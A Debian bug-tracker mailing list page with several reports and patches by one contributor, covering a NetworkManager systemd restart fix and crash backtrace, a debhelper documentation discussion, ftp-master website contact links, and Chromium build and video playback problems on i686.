NetworkManager developers have applied the proposed fix with commit id fe95185f6f9f0e3bd3a71024b8b916bca2dc397f . -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#773213: network-manager: NetworkManager.service not restarted by systemd
Package: network-manager Version: 0.9.10.0-3 Severity: normal Tags: patch Dear Maintainer, NetworkManager.service is not restarted by systemd if NetworkManager crashed or is killed. To repeat: * boot Debian into Xfce or similar gui with Network Manager Applet * kill NetworkManager, as root 'killall -9 NetworkManager' * notice how Network Manager Applet just says 'Network Manager is not running...' Workaround is to restart NetworkManager: * as root, 'systemctl start NetworkManager.service' Attached patch fixes this and NetworkManager.service is restarted. With the patch the service is correctly restarted, and systemd seems to detect if the service is respawning too fast due to other bugs, like when NetorkManager is crashing after 'brctl addif br0 eth0' (separate bug). -- System Information: Debian Release: 8.0 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'unstable'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.17.6+ (SMP w/8 CPU cores; PREEMPT) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages network-manager depends on: ii adduser3.113+nmu3 ii dbus 1.8.12-1 ii init-system-helpers1.22 ii isc-dhcp-client4.3.1-5 ii libc6 2.19-13 ii libdbus-1-31.8.12-1 ii libdbus-glib-1-2 0.102-1 ii libgcrypt201.6.2-4+b1 ii libglib2.0-0 2.42.1-1 ii libgnutls-deb0-28 3.3.8-5 ii libgudev-1.0-0 215-8 ii libmm-glib01.4.0-1 ii libndp01.4-2 ii libnewt0.520.52.17-1+b1 ii libnl-3-2003.2.24-2 ii libnl-genl-3-200 3.2.24-2 ii libnl-route-3-200 3.2.24-2 ii libnm-glib40.9.10.0-3 ii libnm-util20.9.10.0-3 ii libpam-systemd 215-8 ii libpolkit-gobject-1-0 0.105-8 ii libreadline6 6.3-8+b2 ii libsoup2.4-1 2.48.0-1 ii libsystemd0215-8 ii libteamdctl0 1.12-1 ii libuuid1 2.25.2-4 ii lsb-base 4.1+Debian13+nmu1 ii policykit-10.105-8 ii udev 215-8 ii wpasupplicant 2.3-1 Versions of packages network-manager recommends: ii crda 3.13-1 ii dnsmasq-base 2.72-2 ii iptables 1.4.21-2+b1 ii modemmanager 1.4.0-1 ii ppp 2.4.6-3 Versions of packages network-manager suggests: ii avahi-autoipd 0.6.31-4+b2 pn libteam-utils none -- no debconf information From 2c1d2bc6064fc924db3537a63636a0153c4f4aea Mon Sep 17 00:00:00 2001 From: Mikko Rapeli mikko.rap...@iki.fi Date: Mon, 15 Dec 2014 16:47:45 +0100 Subject: [PATCH] Tell systemd to restart NetworkManager.service if it exited with failure Crashed NetworkManager.service was not restarted by systemd. Signed-off-by: Mikko Rapeli mikko.rap...@iki.fi --- data/NetworkManager.service.in | 1 + 1 file changed, 1 insertion(+) diff --git a/data/NetworkManager.service.in b/data/NetworkManager.service.in index 84a9c95..b2e61ff 100644 --- a/data/NetworkManager.service.in +++ b/data/NetworkManager.service.in @@ -7,6 +7,7 @@ Before=network.target @DISTRO_NETWORK_SERVICE@ Type=dbus BusName=org.freedesktop.NetworkManager ExecStart=@sbindir@/NetworkManager --no-daemon +Restart=on-failure # NM doesn't want systemd to kill its children for it KillMode=process -- 2.1.3
Bug#773216: network-manager: crashes after 'brctl addif br0 eth0'
Package: network-manager Version: 0.9.10.0-3 Severity: normal Dear Maintainer, NetworkManager is crashing if eth0 is added to a bridge interface. eth0 is managed by NetworkManager. Bridge command is 'brctl addif br0 eth0'. # gdb NetworkManager GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type show copying and show warranty for details. This GDB was configured as x86_64-linux-gnu. Type show configuration for configuration details. For bug reporting instructions, please see: http://www.gnu.org/software/gdb/bugs/. Find the GDB manual and other documentation resources online at: http://www.gnu.org/software/gdb/documentation/. For help, type help. Type apropos word to search for commands related to word... Reading symbols from NetworkManager...(no debugging symbols found)...done. (gdb) r -n Starting program: /usr/sbin/NetworkManager -n [Thread debugging using libthread_db enabled] Using host libthread_db library /lib/x86_64-linux-gnu/libthread_db.so.1. [New Thread 0x71c50700 (LWP 18116)] [New Thread 0x7144f700 (LWP 18117)] [New Thread 0x70c4e700 (LWP 18118)] [New Thread 0x7fffeb91f700 (LWP 18119)] Internet Systems Consortium DHCP Client 4.3.1 Copyright 2004-2014 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Listening on LPF/eth0/a0:1d:48:0b:45:f3 Sending on LPF/eth0/a0:1d:48:0b:45:f3 Sending on Socket/fallback DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8 DHCPREQUEST on eth0 to 255.255.255.255 port 67 DHCPOFFER from 172.20.0.50 DHCPACK from 172.20.0.50 bound to 172.20.20.146 -- renewal in 76916 seconds. ** NetworkManager:ERROR:nm-active-connection.c:366:device_master_changed: assertion failed: (master) Program received signal SIGABRT, Aborted. 0x74397107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) thread apply all bt full Thread 5 (Thread 0x7fffeb91f700 (LWP 18119)): #0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38 No locals. #1 0x74e06657 in g_cond_wait_until (cond=cond@entry=0x7c2198, mutex=mutex@entry=0x7c2190, end_time=end_time@entry=247662077496) at /tmp/buildd/glib2.0-2.42.1/./glib/gthread-posix.c:1443 now = {tv_sec = 247647, tv_nsec = 77497466} span = {tv_sec = 14, tv_nsec = 98534} sampled = 0 res = optimized out #2 0x74d96a69 in g_async_queue_pop_intern_unlocked ( queue=queue@entry=0x7c2190, wait=wait@entry=1, end_time=end_time@entry=247662077496) at /tmp/buildd/glib2.0-2.42.1/./glib/gasyncqueue.c:422 retval = optimized out __FUNCTION__ = g_async_queue_pop_intern_unlocked #3 0x74d9708b in g_async_queue_timeout_pop (queue=0x7c2190, timeout=timeout@entry=1500) at /tmp/buildd/glib2.0-2.42.1/./glib/gasyncqueue.c:543 end_time = 247662077496 retval = optimized out ---Type return to continue, or q return to quit--- #4 0x74de938c in g_thread_pool_wait_for_new_pool () at /tmp/buildd/glib2.0-2.42.1/./glib/gthreadpool.c:167 pool = optimized out local_wakeup_thread_serial = optimized out last_wakeup_thread_serial = optimized out have_relayed_thread_marker = optimized out #5 g_thread_pool_thread_proxy (data=optimized out) at /tmp/buildd/glib2.0-2.42.1/./glib/gthreadpool.c:364 free_pool = optimized out task = 0x2 pool = optimized out #6 0x74de8935 in g_thread_proxy (data=0x744d90) at /tmp/buildd/glib2.0-2.42.1/./glib/gthread.c:764 thread = 0x744d90 #7 0x747130a4 in start_thread (arg=0x7fffeb91f700) at pthread_create.c:309 __res = optimized out pd = 0x7fffeb91f700 now = optimized out unwind_buf = {cancel_jmp_buf = {{jmp_buf = {140737145599744, -6871300903565087371, 1, 140737354125408, 140737301612768, 140737145599744, 6871344145767509365, 6871319687153888629}, ---Type return to continue, or q return to quit--- mask_was_saved = 0}}, priv = {pad = {0x0, 0x0, 0x0, 0x0}, data = {prev = 0x0, cleanup = 0x0, canceltype = 0}}} not_first_call = optimized out pagesize_m1 = optimized out sp = optimized out freesize = optimized out __PRETTY_FUNCTION__ = start_thread #8 0x74447ccd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 No locals. Thread 4 (Thread 0x70c4e700 (LWP 18118)): #0 0x7443f18d in poll () at ../sysdeps/unix/syscall-template.S:81 No locals. #1 0x74dc1ee4 in g_main_context_poll (priority=2147483647, n_fds=2, fds=0x7fffe40010c0,
Bug#765446: debhelper build target status file packagename.debhelper.log is not documented
Package: debhelper Version: 9.20120909 Severity: minor Tags: patch Dear Maintainer, debhelper build status log file is not documented in manual pages. Common developer use cases involve modifying list of installed files and package install scripts, and for these use cases a complete re-compile of the packages in not necessary. Instead developers could modify the package status log to re-execute all steps after build target, for example. Here's the kind of documentation I had in mind (on top of debhelper git master): From 275c394597c9ab8dff3a5e8fe9de8bf49c66ba41 Mon Sep 17 00:00:00 2001 From: Mikko Rapeli mikko.rap...@iki.fi Date: Wed, 15 Oct 2014 10:36:56 +0300 Subject: [PATCH] Document build status file It is useful to change just the build status file when only some of the build steps need to be re-executed, e.g. after changes to .install files. Rename SEE ALSO to EXAMPLES because that's what they are. Signed-off-by: Mikko Rapeli mikko.rap...@iki.fi --- debhelper.pod | 16 +++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/debhelper.pod b/debhelper.pod index 659c4a3..0032892 100644 --- a/debhelper.pod +++ b/debhelper.pod @@ -689,7 +689,21 @@ BDH_ALWAYS_EXCLUDE=CVS:.svn =back -=head1 SEE ALSO +=head1 BUILD TARGET STATUS LOG + +debhelper maintains build state in Fdebian/packagename.debhelper.log file. +This file contains an entry for all successfully executed build targets +after package compilation. + +A common usecase for developers is to change list of installed files +via Fdebian/packagename.install or package install scripts. With these cases +it is not necessary to recompile the whole package but instead only build steps +after normal source tree compilation need to be re-executed. This is achieved +my removing all lines after dh_auto_build in Fdebian/packagename.debhelper.log +file and recompiling the package with 'fakeroot debian/rules binary' or +debuild. + +=head1 EXAMPLES =over 4 -- 1.7.10.4 -- System Information: Debian Release: 7.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.2.58-grbfs-kapsi (SMP w/24 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages debhelper depends on: ii binutils2.22-8 ii dpkg1.16.15 ii dpkg-dev1.16.15 ii file5.11-2+deb7u5 ii html2text 1.3.2a-15 ii man-db 2.6.2-1 ii perl5.14.2-21+deb7u1 ii po-debconf 1.0.16+nmu2 debhelper recommends no packages. Versions of packages debhelper suggests: ii dh-make 0.61 -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#765464: ftp.debian.org: Contact details and wiki page link to https://ftp-master.debian.org/
Package: ftp.debian.org Severity: wishlist Tags: patch Hi, Contact details and wiki links where not available on https://ftp-master.debian.org/ so I decided to add them. Patches attached. They are useful for casual users like me who are not so clear on internals workings of Debian and ftp master team. -Mikko From 00d226788dd978a6bc4eaf132d124412f529eecd Mon Sep 17 00:00:00 2001 From: Mikko Rapeli mikko.rap...@iki.fi Date: Wed, 15 Oct 2014 14:08:30 +0300 Subject: [PATCH 1/2] Added Contact details to web page Contact details copied from https://wiki.debian.org/Teams/FTPMaster Signed-off-by: Mikko Rapeli mikko.rap...@iki.fi --- index.html |8 1 file changed, 8 insertions(+) diff --git a/index.html b/index.html index 75d3fbc..f03a4c6 100644 --- a/index.html +++ b/index.html @@ -55,6 +55,7 @@ lia href=#archivecriteriaArchive Criteria/a/li lia href=#talksTalks/a/li lia href=#patchesPatches/a/li + lia href=#contactContact/a/li /ul /div @@ -345,6 +346,13 @@ pregit clone https://ftp-master.debian.org/git/website.git//pre /div +div id=contact +h1Contact/h1 +pEmail contact: ftpmas...@debian.org/p +pRequest tracker: a href=http://bugs.debian.org/ftp.debian.org;http://bugs.debian.org/ftp.debian.org (pseudo package)/a/p +pPublic IRC channel: #debian-ftp on irc.debian.org (OFTC)/p +/div + /div /div /div -- 1.7.10.4 From 4db4b3c9f3b75c9f7ed3cb8afcd721dc415b484b Mon Sep 17 00:00:00 2001 From: Mikko Rapeli mikko.rap...@iki.fi Date: Wed, 15 Oct 2014 14:15:27 +0300 Subject: [PATCH 2/2] Add link to FTPMaster wiki page It has useful and maybe more up to date information so it's good to mention here too. Signed-off-by: Mikko Rapeli mikko.rap...@iki.fi --- index.html |1 + 1 file changed, 1 insertion(+) diff --git a/index.html b/index.html index f03a4c6..5fdb09c 100644 --- a/index.html +++ b/index.html @@ -63,6 +63,7 @@ div id=intro pThis is the Debian project ftp-master server. Various informational pages are available here./p +pAdditional information is also available on a href=https://wiki.debian.org/Teams/FTPMaster;FTPMaster wiki page/a./p /div div id=archivekey -- 1.7.10.4
Bug#765446: [debhelper-devel] Bug#765446: debhelper build target status file packagename.debhelper.log is not documented
On Wed, Oct 15, 2014 at 10:08:15AM -0400, Joey Hess wrote: Mikko Rapeli wrote: debhelper build status log file is not documented in manual pages. Common developer use cases involve modifying list of installed files and package install scripts, and for these use cases a complete re-compile of the packages in not necessary. Instead developers could modify the package status log to re-execute all steps after build target, for example. I am not comfortable with encouraging this kind of hacking. It can result in a package getting built while the modified source doesn't build successfully, worse, has different contents when built straight through from a clean build. So a developer might engage in this kind of hacking, test the resulting binary package and see it's good, and then fire off a dpkg-buildpackage and not test that clean build, and upload a broken package. I have fought this issue for years. Build a package and then try to fix some bugs locally. Silly bugs like bad .install or package scripts should be straight forward to fix without complete rebuild of the package, which can take hours, or even days on smaller machines. If I add a simple fix to installed files or the scripts, another run with 'fakeroot debian/rules binary' doesn't actually do anything more when debhelper is used. The developer use case is different from what debian infrastructure does and yes proper builds need always be clean and start from scratch. But I see nothing bad in documenting a useful development feature like stepping back only few debhelper build steps without complete rebuild. -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#765446: [debhelper-devel] Bug#765446: debhelper build target status file packagename.debhelper.log is not documented
On Wed, Oct 15, 2014 at 12:41:19PM -0400, Joey Hess wrote: Mikko Rapeli wrote: I have fought this issue for years. Build a package and then try to fix some bugs locally. Silly bugs like bad .install or package scripts should be straight forward to fix without complete rebuild of the package, which can take hours, or even days on smaller machines. If I add a simple fix to installed files or the scripts, another run with 'fakeroot debian/rules binary' doesn't actually do anything more when debhelper is used. The developer use case is different from what debian infrastructure does and yes proper builds need always be clean and start from scratch. But I see nothing bad in documenting a useful development feature like stepping back only few debhelper build steps without complete rebuild. A better approach is to run dh_clean, which removes all debhelper cruft, while leaving the package built. Assuming a sane Makefile, or a debian/rules that uses build-stamp to work around a buggy upstream Makefile, debian/rules binary can then be run again and will reuse what has already been compiled. Ok, I agree. dh_clean is the one that I should use then. Somehow I have managed to mix it with dh_auto_clean or 'fakeroot debian/rules clean' which often removes build directories but leaves some other temp files around. Maybe debhelper man page could somehow highlight the difference to dh_auto_clean but I can't put into a single sentence either. 'man dh_clean' says what this does so well. You can close this bug. Thanks! -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#765169: Chromium component build succeeds on i686
Just for completeness: I heard from some developers that Chromium has a component build option which creates multiple .so's from included sources instead of one big executable. This is documented at http://www.chromium.org/developers/how-tos/component-build Unfortunately https://code.google.com/p/chromium/wiki/LinuxBuildInstructions says that: Linker Crashes If, during the final link stage: LINK(target) out/Debug/chrome You get an error like: collect2: ld terminated with signal 6 Aborted terminate called after throwing an instance of 'std::bad_alloc' collect2: ld terminated with signal 11 [Segmentation fault], core dumped you are probably running out of memory when linking. Try one of: Use the gold linker Build on a 64-bit computer Build in Release mode (debugging symbols require a lot of memory) Build as shared libraries (note: this build is for developers only, and may have broken functionality) Anyway, I gave it a try. Debian packaging changes I use, also include switch to ld.gold and ccache compiler cache to speed up rebuilds: --- tmp/debian/chromium.install 2014-10-10 03:49:16.0 +0200 +++ chromium-browser-38.0.2125.101/debian/chromium.install 2014-10-15 14:33:22.060233798 +0200 @@ -2,10 +2,12 @@ out/Release/chromium usr/lib/chromium out/Release/chrome-sandbox usr/lib/chromium out/Release/*.so usr/lib/chromium +out/Release/lib/*.so usr/lib/chromium out/Release/*.pak usr/lib/chromium out/Release/icudtl.dat usr/lib/chromium -out/Release/resources/*.pak usr/lib/chromium/locales +out/Release/locales/*.pak usr/lib/chromium/locales +out/Release/pseudo_locales/*.pak usr/lib/chromium/locales debian/presubj usr/share/bug/chromium iff -rup tmp/debian/rules chromium-browser-38.0.2125.101/debian/rules --- tmp/debian/rules2014-10-10 05:52:39.0 +0200 +++ chromium-browser-38.0.2125.101/debian/rules 2014-10-15 14:06:21.151701940 +0200 @@ -1,16 +1,19 @@ #!/usr/bin/make -f # enable verbose build messages -export DH_VERBOSE=1 +DH_VERBOSE=1 + +CC := ccache clang +CXX := ccache clang++ # enable all build hardening flags -export DEB_BUILD_MAINT_OPTIONS=hardening=+all +DEB_BUILD_MAINT_OPTIONS=hardening=+all -# linker flags to avoid memory allocation issues on i386 -export LDFLAGS+=-Wl,--no-keep-memory -Wl,--reduce-memory-overheads -Wl,--hash-size=7919 +# linker flags to avoid memory allocation issues on i386, use ld.gold instead +LDFLAGS+=-fuse-ld=gold # more verbose linker output -export LDFLAGS+=-Wl,--trace -Wl,--stats +LDFLAGS+=-Wl,--trace -Wl,--stats # treat all warnings as errors defines=werror= @@ -41,6 +44,7 @@ defines+=enable_hidpi=1 \ linux_link_gsettings=1 \ linux_link_libspeechd=1 \ linux_link_gnome_keyring=1 \ + component=shared_library \ # system libraries to use defines+=use_system_re2=1 \ @@ -100,7 +105,9 @@ flotpaths=/usr/share/javascript/jquery/* override_dh_auto_configure: for file in $(flotpaths); do ln -sf $$file third_party/flot; done + CC=${CC} CXX=${CXX} LDFLAGS=${LDFLAGS} \ GYP_DEFINES=$(defines) ./build/gyp_chromium $(options) + CC=${CC} CXX=${CXX} LDFLAGS=${LDFLAGS} \ override_dh_auto_build: ninja $(njobs) -C out/Release chrome chrome_sandbox chromedriver @@ -124,6 +131,10 @@ override_dh_fixperms: override_dh_strip: dh_strip --dbg-package=chromium-dbg +override_dh_shlibdeps: + # exclude the internal libs which miss proper SONAME etc + dh_shlibdeps -Xusr/lib/chromium/lib/ -- -ldebian/chromium/usr/lib/chromium/ -ldebian/chromium/usr/lib/chromium/lib/ + override_dh_auto_clean: rm -rf out Makefile third_party/flot/* rm -rf out Makefile third_party/flot/* find . -name \*.mk -execdir rm -rf {} \; With these changes chromium builds on i686 but running the binary with the new shared objects fails: ~/src/chromium-browser-38.0.2125.101/out/Release$ LD_LIBRARY_PATH=.:./lib ./chromium [libprotobuf ERROR google/protobuf/descriptor_database.cc:57] File already exists in database: phonenumber.proto [libprotobuf FATAL google/protobuf/descriptor.cc:1018] CHECK failed: generated_database_-Add(encoded_file_descriptor, size): terminate called after throwing an instance of 'google::protobuf::FatalException' what(): CHECK failed: generated_database_-Add(encoded_file_descriptor, size): Aborted This bug report is likely not cared by upstream or Debian packagers but maybe someone cares about natively building chromium on 32bit archs. My journey into chromium land ends here :) -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#765169: closed by Michael Gilbert mgilb...@debian.org (Re: [Pkg-chromium-maint] Bug#765169: chromium 38.0.2125.101-1 fails to build on i686 with 2 gigs of RAM and 2 gigs of swap)
On Mon, Oct 13, 2014 at 07:33:16PM +, Debian Bug Tracking System wrote: Date: Mon, 13 Oct 2014 15:29:58 -0400 From: Michael Gilbert mgilb...@debian.org To: 765169-cl...@bugs.debian.org Subject: Re: [Pkg-chromium-maint] Bug#765169: chromium 38.0.2125.101-1 fails to build on i686 with 2 gigs of RAM and 2 gigs of swap On Mon, Oct 13, 2014 at 2:50 PM, Mikko Rapeli wrote: I'm failing to reproduce 38.0.2125.101-1 build on my i386/i686 laptop with 2 gigs of RAM and another 2 gigs of swap. The memory exhaustion error is rather expected with that limited amount of ram. You can fiddle around with some of the LDFLAGS in debian/rules to possibly achieve some linker memory reduction. The problem is not about limited amount of ram. It's about limited amount virtual memory. How was the i386 binary version actually build? See below. Is PAE and more than 4 gigs of virtual memory needed? Would probably work, haven't tried. Well I did. PAE did not help. Neither did switch to ld.gold. Is AMD64 CPU and kernel and possibly i386 userspace needed to build the package? This is what's done on the buildds. i386 chroot an amd64 machine. As a Debian user I'm for the first time now confronted with an open source package on my architecture which does not compile on that architecture. It's nice that the binary is provided but IMO it belongs to contrib or non-free since the same architecture is not able to compile it. This propably applies to all 32bit archs but chromium is already limited to amd64 and i386 for this very reason. -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#765169: chromium 38.0.2125.101-1 fails to build on i686 with 2 gigs of RAM and 2 gigs of swap
Package: chromium Version: 37.0.2062.120-1 Severity: important Dear Maintainer, I'm failing to reproduce 38.0.2125.101-1 build on my i386/i686 laptop with 2 gigs of RAM and another 2 gigs of swap. How was the i386 binary version actually build? Is PAE and more than 4 gigs of virtual memory needed? Is AMD64 CPU and kernel and possibly i386 userspace needed to build the package? Last logs of my build try are: obj/extensions/common/api/gen/extensions/common/api/extensions_api.socket.o obj/extensions/common/api/gen/extensions/common/api/extensions_api.usb.o obj/extensions/common/api/gen/extensions/common/api/extensions_api.usb_private.o obj/device/serial/device_serial.serial_device_enumerator_linux.o obj/device/serial/device_serial.serial_device_enumerator.o obj/chrome/browser/ui/views/browser_ui.desktop_media_picker_views.o obj/chrome/browser/ui/views/extensions/browser_ui.media_galleries_dialog_views.o obj/chrome/browser/ui/views/extensions/browser_ui.media_gallery_checkbox_view.o obj/chrome/browser/extensions/browser_extensions.extension_infobar_delegate.o obj/third_party/webrtc/modules/rtp_rtcp/source/rtp_rtcp.fec_receiver_impl.o obj/third_party/webrtc/modules/pacing/paced_sender.paced_sender.o obj/third_party/webrtc/modules/remote_bitrate_estimator/rbe_components.remote_bitrate_estimator_single_stream.o obj/third_party/webrtc/modules/remote_bitrate_estimator/rbe_components.remote_rate_control.o obj/third_party/webrtc/modules/remote_bitrate_estimator/rbe_components.overuse_detector.o (libyuv.a)libyuv.compare.o (libyuv.a)libyuv.compare_common.o (libyuv.a)libyuv.compare_posix.o obj/third_party/webrtc/modules/media_file/source/media_file.media_file_impl.o obj/third_party/webrtc/modules/media_file/source/media_file.media_file_utility.o obj/third_party/webrtc/modules/media_file/source/media_file.avi_file.o obj/third_party/webrtc/common_audio/signal_processing/common_audio.auto_corr_to_refl_coef.o obj/third_party/webrtc/common_audio/signal_processing/common_audio.filter_ar_fast_q12.o obj/third_party/webrtc/common_audio/signal_processing/common_audio.filter_ma_fast_q12.o obj/third_party/webrtc/common_audio/signal_processing/common_audio.refl_coef_to_lpc.o obj/chrome/browser/ui/views/infobars/browser_ui.extension_infobar.o obj/third_party/webrtc/modules/remote_bitrate_estimator/remote_bitrate_estimator.rate_statistics.o -lrt (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/librt.so) -ldl (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libdl.so) -lgmodule-2.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libgmodule-2.0.so) -lgobject-2.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libgobject-2.0.so) -lgthread-2.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libgthread-2.0.so) -lglib-2.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libglib-2.0.so) -lnss3 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libnss3.so) -lnssutil3 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libnssutil3.so) -lsmime3 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libsmime3.so) -lplds4 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libplds4.so) -lplc4 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libplc4.so) -lnspr4 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libnspr4.so) -lgio-2.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libgio-2.0.so) -lresolv (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libresolv.so) -lprotobuf (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libprotobuf.so) /lib/i386-linux-gnu/libpthread.so.0 -lfontconfig (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libfontconfig.so) -lfreetype (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libfreetype.so) -lpangocairo-1.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libpangocairo-1.0.so) -lcairo (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libcairo.so) -lpangoft2-1.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libpangoft2-1.0.so) -lpango-1.0 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libpango-1.0.so) -lharfbuzz (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libharfbuzz.so) -ljpeg (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libjpeg.so) -lX11 (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libX11.so) -lXi (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libXi.so) -lXcursor (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libXcursor.so) -lXext (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libXext.so) -lXfixes (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libXfixes.so) -lXrender (/usr/bin/../lib/gcc/i586-linux-gnu/4.9/../../../i386-linux-gnu/libXrender.so) -lxml2
Bug#764793: chromium: Vimeo video playback broken
Package: chromium Version: 37.0.2062.120-4 Severity: important Dear Maintainer, Vimeo.com video playback seems to be broken with latest chromium in sid. This used to work for years. -- System Information: Debian Release: jessie/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (500, 'oldstable') Architecture: i386 (i686) Kernel: Linux 3.15.9+ (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages chromium depends on: ii libasound2 1.0.28-1 ii libc62.19-11 ii libcairo21.12.16-5 ii libcap2 1:2.24-6 ii libcups2 1.7.5-4 ii libdbus-1-3 1.8.8-2 ii libexpat12.1.0-6 ii libfontconfig1 2.11.0-6.1 ii libfreetype6 2.5.2-2 ii libgcc1 1:4.9.1-16 ii libgdk-pixbuf2.0-0 2.31.1-2 ii libglib2.0-0 2.42.0-2 ii libgtk2.0-0 2.24.24-1 ii libharfbuzz0b0.9.35-1 ii libjpeg8 8d1-2 ii libnspr4 2:4.10.7-1 ii libnspr4-0d 2:4.10.7-1 ii libnss3 2:3.17.1-1 ii libpango-1.0-0 1.36.8-2 ii libpangocairo-1.0-0 1.36.8-2 ii libpci3 1:3.2.1-3 ii libprotobuf9 2.6.0-4 ii libspeechd2 0.8-6 ii libspeex11.2~rc1.2-1 ii libsrtp0 1.4.5~20130609~dfsg-1 ii libstdc++6 4.9.1-16 ii libudev1 215-5+b1 ii libx11-6 2:1.6.2-3 ii libxcomposite1 1:0.4.4-1 ii libxcursor1 1:1.1.14-1 ii libxdamage1 1:1.1.4-2 ii libxext6 2:1.3.3-1 ii libxfixes3 1:5.0.1-2 ii libxi6 2:1.7.4-1 ii libxml2 2.9.1+dfsg1-4 ii libxrandr2 2:1.4.2-1 ii libxrender1 1:0.9.8-1 ii libxslt1.1 1.1.28-2+b1 ii libxss1 1:1.2.2-1 ii libxtst6 2:1.2.2-1 ii xdg-utils1.1.0~rc1+git20111210-7.1 chromium recommends no packages. Versions of packages chromium suggests: ii chromium-inspector 37.0.2062.120-4 pn chromium-l10n none -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764793: Bisecting package revisions
Trying different binary packages from snapshots without rebooting in between, just restarting browser: 35.0.1916.153-1~deb7u1 vimeo and youtube work 37.0.2062.120-1~deb7u1 vimeo and youtube work 37.0.2062.120-2 vimeo and youtube work 37.0.2062.120-4 vimeo and youtube broken 38.0.2125.101-1 vimeo and youtube broken So clang change alone did not break anything. What was in 37.0.2062.120-3 and 37.0.2062.120-4 that could cause this? Would be nice to get some codec related debug info out of chromium somehow, like supported codec list. But I don't know how to do that. -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764793: 38 affected too
Also 38.0.2125.101-1 isn't playing any videos on a Lenove T60 with Intel chips and: 00:02.0 VGA compatible controller: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller (rev 03) -Mikko -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#763197: systemd kernel feature check in preinst phase
